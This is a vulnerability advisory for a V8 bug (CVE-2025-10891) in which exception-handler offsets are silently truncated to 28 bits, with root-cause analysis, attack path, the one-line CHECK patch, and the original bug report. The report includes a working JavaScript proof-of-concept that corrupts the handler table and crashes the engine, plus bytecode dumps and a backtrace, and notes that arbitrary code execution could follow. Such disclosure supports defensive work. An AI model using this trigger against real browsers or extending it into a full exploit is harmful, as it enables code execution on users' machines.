CVE-2025-10891
Overview
Background
- `HandlerTable`
- a V8 metadata table attached to bytecode/code that maps try-block ranges to their exception-handler offsets and catch predictions, consulted when an exception is thrown.
- `HandlerOffsetField`
- a
BitFieldsub-range of a packed 32-bit integer that stores a handler’s target offset alongsideHandlerWasUsedFieldandHandlerPredictionField. - `BitField::encode` / `is_valid`
encodeshifts a value into the field’s bits (masking/truncating out-of-range values), whileis_validreturns whether a value actually fits within the field’s width.- Ignition
- V8’s bytecode interpreter, whose compiler builds the
HandlerTablefor each generated bytecode array.
Root Cause Analysis
HandlerTable::SetRangeHandler packs a handler offset into a bitfield with HandlerOffsetField::encode(handler_offset) OR-combined with the used and prediction fields, without first verifying the offset fits in the field’s bit width. When handler_offset exceeds the range representable by HandlerOffsetField, encode silently truncates the high bits, so the stored offset is wrong and can also corrupt the neighboring HandlerWasUsedField/HandlerPredictionField bits in the packed value. A sufficiently large function (enough bytecode that a try-block handler lands at an offset beyond the field capacity) would therefore record a bogus handler target that is later used during exception dispatch.
The fix adds CHECK(HandlerOffsetField::is_valid(handler_offset)) before the encode, converting the silent integer-overflow/truncation into a safe, immediate abort. It works because the invalid offset can no longer be encoded and consumed downstream; the process crashes deterministically instead of proceeding with a corrupted handler entry.
CHECK(HandlerOffsetField::is_valid(...)) guard before encoding.Attack Path
- Craft an oversized function
An attacker supplies JavaScript that Ignition compiles into a very large bytecode array such that an exception handler’s target offset exceeds
HandlerOffsetField’s representable range. - Reach `SetRangeHandler`
During handler-table construction,
HandlerTable::SetRangeHandleris called with the out-of-rangehandler_offset. - Silent bitfield truncation
Pre-patch,
HandlerOffsetField::encode(handler_offset)truncates the value and OR’s it with the used/prediction fields, storing a corruptedvalue(wrong handler offset and/or clobbered adjacent field bits). - Corrupted handler dispatch When an exception is later thrown in that range, the wrong offset would be used to resume execution; the concrete memory-safety consequence downstream is not shown in the diff (inferred).
Impact Assessment
CHECK abort.Files Changed
src/codegen/handler-table.cc
Audit Directions
- Unchecked `BitField::encode`Search for
...Field::encode(x)calls wherexderives from code size, offsets, counts, or other input-scalable values but lacks a precedingis_validcheck. - Offset/size fields with fixed widthAudit V8 metadata structures (handler tables, source-position tables, deopt data) that pack offsets into narrow bitfields, checking that large functions cannot exceed the field capacity.
- Silent truncation vs. validationLook for places where oversized inputs are accepted and truncated rather than rejected, especially where the resulting value is later used as an execution target or index.
Patch
From a5f18bb86c3b97b9bfc8f95a0926812a1282ad7c Mon Sep 17 00:00:00 2001
From: Leszek Swirski <leszeks@chromium.org>
Date: Fri, 12 Sep 2025 16:48:24 +0200
Subject: [PATCH] [ignition] CHECK that handler offsets fit in the bitfield
Fixed: 443765373
Change-Id: I2be7258463c7787311105b7075f3007197cfccfe
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/6943611
Reviewed-by: Toon Verwaest <verwaest@chromium.org>
Commit-Queue: Toon Verwaest <verwaest@chromium.org>
Commit-Queue: Leszek Swirski <leszeks@chromium.org>
Auto-Submit: Leszek Swirski <leszeks@chromium.org>
Cr-Commit-Position: refs/heads/main@{#102453}
---
diff --git a/src/codegen/handler-table.cc b/src/codegen/handler-table.cc
index e1c1f6a..b815ff2 100644
--- a/src/codegen/handler-table.cc
+++ b/src/codegen/handler-table.cc
@@ -141,6 +141,7 @@
void HandlerTable::SetRangeHandler(int index, int handler_offset,
CatchPrediction prediction) {
+ CHECK(HandlerOffsetField::is_valid(handler_offset));
int value = HandlerOffsetField::encode(handler_offset) |
HandlerWasUsedField::encode(false) |
HandlerPredictionField::encode(prediction);
Original Bug Report
V8: Bytecode corruption due to integer truncation when writing exception handler offset
We are tracking this issue with the public ID BIGSLEEP-443875388. Please use this identifier for reference in any future communication.
Vulnerability Details
Exception handling in V8’s bytecode is implemented by a handler table which effectively encodes the range of the try block and the start of the corresponding catch block . This can for example be seen using --print-bytecode with a simple function:
function simple() {
try {
throw 42;
} catch (e) {
return e;
}
}
/*
[generated bytecode for function: simple (0x034e0005db71 <SharedFunctionInfo simple>)]
0x2ad5001000e4 @ 0 : 1b ff f9 Mov <context>, r0
0x2ad5001000e7 @ 3 : 0d 2a LdaSmi [42]
0x2ad5001000e9 @ 5 : b5 Throw
0x2ad5001000ea @ 6 : d1 Star1
0x2ad5001000eb @ 7 : 8d f8 00 CreateCatchContext r1, [0]
0x2ad5001000ee @ 10 : d2 Star0
0x2ad5001000ef @ 11 : 10 LdaTheHole
0x2ad5001000f0 @ 12 : b4 SetPendingMessage
0x2ad5001000f1 @ 13 : 0b f9 Ldar r0
0x2ad5001000f3 @ 15 : 1c f8 PushContext r1
0x2ad5001000f5 @ 17 : 19 02 LdaImmutableCurrentContextSlot [2]
0x2ad5001000f7 @ 19 : b7 Return
Handler Table (size = 16)
from to hdlr (prediction, data)
( 3, 6) -> 6 (prediction=1, data=0)
*/
Here, the bytecode specifies that if an exception is raised in the range at any point in the bytecode offset range [3, 6), then execution should continue at bytecode offset 6.
Internally, the offset of the handler is encoded as a 28 bit integer, encoded in the function HandlerTable::SetRangeHandler [1]. As there is no hard CHECK that the offset fits into 28 bits, there is a potential for truncation issues if the bytecode becomes too large. One way to generate a function that is sufficiently large is through an async generator function containing a lot of yield* operations, which appear to cause a lot of bytecode to be generated. With that, it becomes possible to overflow the 28 bit bytecode offset of the handler. Subsequently, if an exception is raised, execution will transfer to an invalid offset inside the bytecode, allowing arbitrary bytecode execution similar to BIGSLEEP-436210783/crbug.com/436181695.
The below testcase demonstrates this scenario. As can be seen with --print-bytecode, the offset of the last handler has been truncated and now points into the middle of the function and not to the start of the catch block (the catch block starts at offset 294567982, which is 26132526 when truncated to 28 bits):
...
0x218e125ec063 @ 294567979 : 0d 2a LdaSmi [42]
0x218e125ec065 @ 294567981 : b5 Throw
0x218e125ec066 @ 294567982 : cb Star7
0x218e125ec067 @ 294567983 : 01 8d f2 ff ff ff c7 46 2e 00 CreateCatchContext.ExtraWide r7, [3032775]
0x218e125ec071 @ 294567993 : cc Star6
0x218e125ec072 @ 294567994 : 10 LdaTheHole
0x218e125ec073 @ 294567995 : b4 SetPendingMessage
...
Handler Table (size = 48)
from to hdlr (prediction, data)
( 30,294568033) -> 26132577 (prediction=3, data=4)
( 33,294568013) -> 26132557 (prediction=3, data=5)
(294567979,294567982) -> 26132526 (prediction=1, data=6)
In release builds, this will usually lead to a segmentation fault (e.g. due to an invalid bytecode opcode being executed). However, an attacker should be able to craft the bytecode in a way that there will be valid attacker-controlled bytecode at the jump destination, subsequently allowing for arbitrary code execution.
Affected Version(s)
The issue has been successfully reproduced:
- at HEAD (commit 6002d3ae186f974cd2013b410e487e2631f61f16)
- in stable release 14.0.365.4 (fdb12b460f148895f6af2ff0e0d870ff8889f154
Reproduction
Test Case
The following testcase causes a DCHECK failure in debug builds and a segmentation fault in release builds as described above.
let kNumYields = 500000;
let body = `
if ("foo" === "bar") {
${"yield* 42;".repeat(kNumYields)}
}
try {
throw 42;
} catch (e) {
// Will never get here
}
`;
const AsyncGeneratorFunction = Object.getPrototypeOf(async function*(){}).constructor;
let bug = new AsyncGeneratorFunction(body);
let r = bug();
r.next();
Build Instructions
Follow the instructions at https://v8.dev/docs/build. The crash was verified on a debug build:
gm.py x64.debug
Command
Note that the testcase may take a few minutes to trigger on a debug build but should trigger within a few seconds on a release build.
./out/x64.debug/d8 crash.js
Crash Backtrace
#
# Fatal error in ../../src/base/bit-field.h, line 56
# Debug check failed: is_valid(value).
#
#
#
#FailureMessage Object: 0x7b42c013f860
==== C stack trace ===============================
./out/x64.debug/d8(___interceptor_backtrace+0x46) [0x5622fa2f9a06]
v8/v8/out/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7f42c3bd789e]
v8/v8/out/x64.debug/libv8_libplatform.so(+0x7c49b) [0x7f42c3ab349b]
v8/v8/out/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x2e2) [0x7f42c3b7f1d2]
v8/v8/out/x64.debug/libv8_libbase.so(+0x888f7) [0x7f42c3b7e8f7]
v8/v8/out/x64.debug/libv8_libbase.so(V8_Dcheck(char const*, int, char const*)+0x4d) [0x7f42c3b7f31d]
v8/v8/out/x64.debug/libv8.so(v8::base::BitField<int, 4, 28, unsigned int>::encode(int)+0x37) [0x7f42ce567a37]
v8/v8/out/x64.debug/libv8.so(v8::internal::HandlerTable::SetRangeHandler(int, int, v8::internal::HandlerTable::CatchPrediction)+0x3f) [0x7f42ce565b4f]
v8/v8/out/x64.debug/libv8.so(v8::internal::DirectHandle<v8::internal::TrustedByteArray> v8::internal::interpreter::HandlerTableBuilder::ToHandlerTable<v8::internal::Isolate>(v8::internal::Isolate*)+0x2d7) [0x7f42cfc43607]
v8/v8/out/x64.debug/libv8.so(v8::internal::Handle<v8::internal::BytecodeArray> v8::internal::interpreter::BytecodeArrayBuilder::ToBytecodeArray<v8::internal::Isolate>(v8::internal::Isolate*)+0x1a2) [0x7f42cfb27df2]
v8/v8/out/x64.debug/libv8.so(v8::internal::Handle<v8::internal::BytecodeArray> v8::internal::interpreter::BytecodeGenerator::FinalizeBytecode<v8::internal::Isolate>(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Script>)+0x5a4) [0x7f42cfbd5514]
v8/v8/out/x64.debug/libv8.so(v8::internal::CompilationJob::Status v8::internal::interpreter::InterpreterCompilationJob::DoFinalizeJobImpl<v8::internal::Isolate>(v8::internal::DirectHandle<v8::internal::SharedFunctionInfo>, v8::internal::Isolate*)+0x48f) [0x7f42cfc4aa1f]
v8/v8/out/x64.debug/libv8.so(v8::internal::interpreter::InterpreterCompilationJob::FinalizeJobImpl(v8::internal::DirectHandle<v8::internal::SharedFunctionInfo>, v8::internal::Isolate*)+0x233) [0x7f42cfc46a03]
v8/v8/out/x64.debug/libv8.so(v8::internal::UnoptimizedCompilationJob::FinalizeJob(v8::internal::DirectHandle<v8::internal::SharedFunctionInfo>, v8::internal::Isolate*)+0x380) [0x7f42ce47a8c0]
v8/v8/out/x64.debug/libv8.so(+0xa8a6917) [0x7f42ce4a6917]
v8/v8/out/x64.debug/libv8.so(+0xa88f4ea) [0x7f42ce48f4ea]
v8/v8/out/x64.debug/libv8.so(+0xa892ed7) [0x7f42ce492ed7]
v8/v8/out/x64.debug/libv8.so(v8::internal::Compiler::GetFunctionFromEval(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::String>, v8::internal::DirectHandle<v8::internal::SharedFunctionInfo>, v8::internal::DirectHandle<v8::internal::Context>, v8::internal::LanguageMode, v8::internal::ParseRestriction, int, int, v8::internal::ParsingWhileDebugging)+0x20e9) [0x7f42ce4988f9]
v8/v8/out/x64.debug/libv8.so(v8::internal::Compiler::GetFunctionFromValidatedString(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::NativeContext>, v8::internal::MaybeDirectHandle<v8::internal::String>, v8::internal::ParseRestriction, int)+0x574) [0x7f42ce49a734]
v8/v8/out/x64.debug/libv8.so(v8::internal::Compiler::GetFunctionFromString(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::NativeContext>, v8::internal::Handle<v8::internal::Object>, int, bool)+0xe0) [0x7f42ce49a900]
v8/v8/out/x64.debug/libv8.so(+0xa7469b2) [0x7f42ce3469b2]
v8/v8/out/x64.debug/libv8.so(+0xa742741) [0x7f42ce342741]
v8/v8/out/x64.debug/libv8.so(v8::internal::Builtin_AsyncGeneratorFunctionConstructor(int, unsigned long*, v8::internal::Isolate*)+0x200) [0x7f42ce342340]
v8/v8/out/x64.debug/libv8.so(+0x995397d) [0x7f42cd55397d]
Reporter Credit
Google Big Sleep
Disclosure Policy
This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2025-12-08. For more information, visit https://goo.gle/bigsleep
- http://crbug.com/436181695](https://crbug.com/436181695
- https://crbug.com/436181695
- https://goo.gle/bigsleep
- https://source.chromium.org/chromium/chromium/src/ /main:v8/src/codegen/handler-table.cc;l=144;drc=6002d3ae186f974cd2013b410e487e2631f61f16
- https://source.chromium.org/chromium/chromium/src/+/main:v8/src/codegen/handler-table.cc;l=144;drc=6002d3ae186f974cd2013b410e487e2631f61f16
- https://v8.dev/docs/build